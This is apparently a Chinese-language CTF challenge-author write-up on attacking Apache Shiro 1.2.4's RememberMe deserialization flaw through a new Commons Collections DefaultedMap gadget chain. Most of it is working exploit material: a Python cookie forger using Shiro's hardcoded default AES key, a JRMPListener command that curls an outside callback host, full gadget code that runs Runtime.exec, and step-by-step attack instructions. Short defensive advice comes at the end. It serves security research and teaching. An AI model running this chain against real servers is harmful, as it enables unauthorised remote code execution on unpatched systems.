Commons Collections3 新Map利用挖掘(WCTF出题笔记)
字数 1345 2025-08-26 22:11:51
Commons Collections3 新Map利用挖掘技术分析
1. 背景介绍
在WCTF 2019比赛中,设计了一道基于Java反序列化漏洞的题目,主要考察点包括:
- Shiro 1.2.4反序列化漏洞利用
- Commons Collections新利用链的挖掘
虽然有两支队伍通过非预期解(CommonsBeanutils)完成了题目,但预期解法是挖掘Commons Collections 3.2.1中的新利用链。
2. Shiro 1.2.4反序列化利用
2.1 漏洞原理
Shiro 1.2.4存在反序列化漏洞,当攻击者知道加密密钥时,可以伪造RememberMe Cookie。该Cookie实际上是序列化数据,因此可以构造任意反序列化payload。
2.2 利用步骤
- 从pom.xml或jar文件中获取硬编码的加密密钥
- 使用密钥伪造反序列化数据
- 直接构造RCE payload不可行,需使用JRMP协议绕过
2.3 利用代码示例
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
def encode_rememberme(command):
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-BETA-all.jar', 'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "TWthODIwaVk4MmtpVTdkTg=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext
if __name__ == '__main__':
payload = encode_rememberme(sys.argv[1])
print(payload)
2.4 使用JRMPListener
java -cp ysoserial-0.0.6-SNAPSHOT-BETA-all.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections7 "curl http://x2wugy.ceye.io/?aaaa"
3. Commons Collections新利用链挖掘
3.1 已知利用链
- LazyMap
- TransformedMap
题目中通过暴力方式移除了这两种链的利用可能,因此需要挖掘新链。
3.2 新链挖掘思路
分析LazyMap的利用流程:
- BadAttributeValueExpException.readObject
- TiedMapEntry.toString
- TiedMapEntry.getValue
- LazyMap.get
- ChainedTransformer.transform
- InvokerTransformer.transform
目标:寻找一个Map,在get方法中调用transform,且transformer可控。
3.3 DefaultedMap利用链
DefaultedMap满足上述条件,其利用流程:
- BadAttributeValueExpException.readObject
- TiedMapEntry.toString
- TiedMapEntry.getValue
- DefaultedMap.get
- ChainedTransformer.transform
- InvokerTransformer.transform
3.4 实现代码
在ysoserial中添加CommonsCollections7 payload:
public BadAttributeValueExpException getObject(final String command) throws Exception {
final String[] execArgs = new String[] { command };
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{ new ConstantTransformer(1) });
final Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class },
new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class },
new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class }, execArgs),
new ConstantTransformer(1) };
final Map innerMap = new HashMap();
final Map defaultedmap = DefaultedMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(defaultedmap, "foo");
BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(val, entry);
Reflections.setFieldValue(transformerChain, "iTransformers", transformers);
return val;
}
4. 完整利用流程
- 使用新payload启动JRMPListener:
java -cp ysoserial-modified.jar ysoserial.exploit.JRMPListener 9999 CommonsCollections7 "恶意命令"
- 生成恶意RememberMe Cookie:
python generate_payload.py "JRMP服务IP:9999"
- 将生成的Cookie替换到Shiro的RememberMe Cookie中发送请求
5. 防御建议
- 升级Shiro到最新版本
- 不要使用硬编码密钥,应使用随机生成的密钥
- 升级Commons Collections到安全版本
- 实施Java反序列化过滤器
6. 总结
本文详细分析了:
- Shiro 1.2.4反序列化漏洞利用方法
- Commons Collections中DefaultedMap新利用链的挖掘过程
- 完整的攻击实现代码和利用流程
- 防御建议
这种利用方式扩展了Java反序列化漏洞的利用面,为安全研究和防御提供了新的视角。